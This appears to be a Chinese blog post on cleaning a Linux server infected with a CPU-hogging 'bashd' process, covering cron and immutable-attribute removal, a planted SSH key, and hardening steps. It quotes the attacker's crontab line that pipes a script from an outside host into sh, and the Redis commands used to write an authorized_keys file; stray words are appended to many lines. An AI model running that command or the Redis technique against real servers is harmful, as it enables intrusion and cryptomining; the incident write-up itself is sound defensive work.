快下班了,同事打電話過來講服務器有問題了。幸虧沒走,要不還的跑回來一趟。趕忙打開XSHELL鏈接服務器查看情況,發現遠程根本連不上了,跑到機房服務器本地輸入帳號密碼,個人天呀,輸入帳號密碼都沒反應啦 ,請示領導後,果斷重啓服務器。重啓後從新輸入帳號密碼,快速登陸服務器查看狀態,發現CPU使用率居高不下。kill掉可疑後,一分鐘又自動生成,在此對整個排查思路整理以下:redis
一、top 命令查看主機負載,發現CPU使用率很是高,並且有個bashd的可疑進程佔用;bash
二、pkill bashd 命令殺死可疑進程,沒有敢離開,觀察了一下,發現1分鐘後這個進程又出現了,CPU使用率再次飆高,更加肯定這個進程的問題了;服務器
三、 排查定時任務,定時任務有2處能夠設置,以下:網絡
/etc/crontab 確實有定時任務,將其刪除ssh
crontab –l 發現有定時任務,crontab -e嘗試刪除,發現刪不掉,怪怪。。。。。。curl
解決方法:ide
由於crontab建立的定時任務,文件位置在/var/spool/cron/下,查看root文件的權限測試
# lsattr -a /var/spool/cron/rooturl
#----i----------- /var/spool/cron/rootspa
唉,這個文件別加了i特殊屬性,因此不能修改。
#chattr -i /var/spool/cron/root // 將i這個權限減掉
# lsattr -a /var/spool/cron/root // 再查看權限,發現沒有i了。
#--------------- /var/spool/cron/root
再次crontab -e 刪除任務計劃,此次能夠保存了。
四、檢查開機自啓動設置/etc/rc.loacl,果真放入了啓動任務,將其刪除。
五、 #find /-name bashd*
/root/bashd
/usr/sbin/bashd
查找bashd,發現有2個/usr/sbin/bash 刪除後1分鐘自動生成,/root/bashd 刪除時提示命令錯誤,又想到查看其權限,
#chattr –i /root/bashd
#rm –rf /root/bashd #修改權限後能夠刪除了
6、腳本文件是刪除了,那他是咋進來的呢?有第一次就有第二次,想到多是破解了密碼,或者採用免密登陸了,去/root/.ssh目錄,果真有可疑的文件存在bash。
七、 在ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了這個文件bash.猜測是這樣的,經過authorized_keys免祕鑰登陸後,在這個目錄下建立了bash文件,修改了AuthorizedKeyfile的指向,root也設置了遠端登陸,太可惡了!!!
那麼他是怎麼進來authorized_keys的呢?
網絡上流傳的大可能是redis未受權登陸IP致使的,也就是公網的地址均可以不用密碼直接登陸Redis服務(Redis默認沒有設置密碼), 連上redis後,經過如下命令便可建立文件:
config set dir /root/.ssh
config set dbfilenameauthorized_keys
set key value,其中value爲生成公鑰,便可將公鑰保存在服務器,使得登陸時不須要輸入帳號與密碼。大概就是這個流程了。無論了,先把黑洞堵上纔是當務之急啊!
八、 先堵住免登陸漏洞
1)、修改ssh 端口號
2)、禁止root登陸
3)、修改無密碼登錄文件的路徑
4)、刪除.ssh 下的bashd
5)、外網只映射80、22,關閉其餘端口。
九、通過一頓折騰,總算把漏洞堵住了,病毒也刪除了,重啓後觀察半小時,服務器正常。
總結:大概是這樣的
1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 寫入crontab
2)建立免登陸文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重啓
3)curl下載/opt/KHK75NEOiq33 這個文件,並執行安裝(/opt/KHK75NEOiq33--Install),而後啓動bashd
殺毒過程:
1) top 檢查可疑進程,pkill 殺死進程,若是進程還能存在,說明必定有定時任務或守護進程(開機啓動),檢查/var/spool/cron/root 和/etc/crontab 和/etc/rc.lcoal
2) 找到可疑程序的位置將其刪除,若是刪除不掉,查看隱藏權限。lsattr chattr 修改權限後將其刪除便可。
3) 查看/root/.ssh/目錄下是否設置了免祕鑰登錄,並查看ssh_config配置文件是否被篡改。
4) 在防火牆關閉沒必要要的映射端口號,重啓再測試是否還會有可疑進程存在。大體就這幾個方面的考慮。
到此爲止,因爲時間關係就沒有放截圖上來。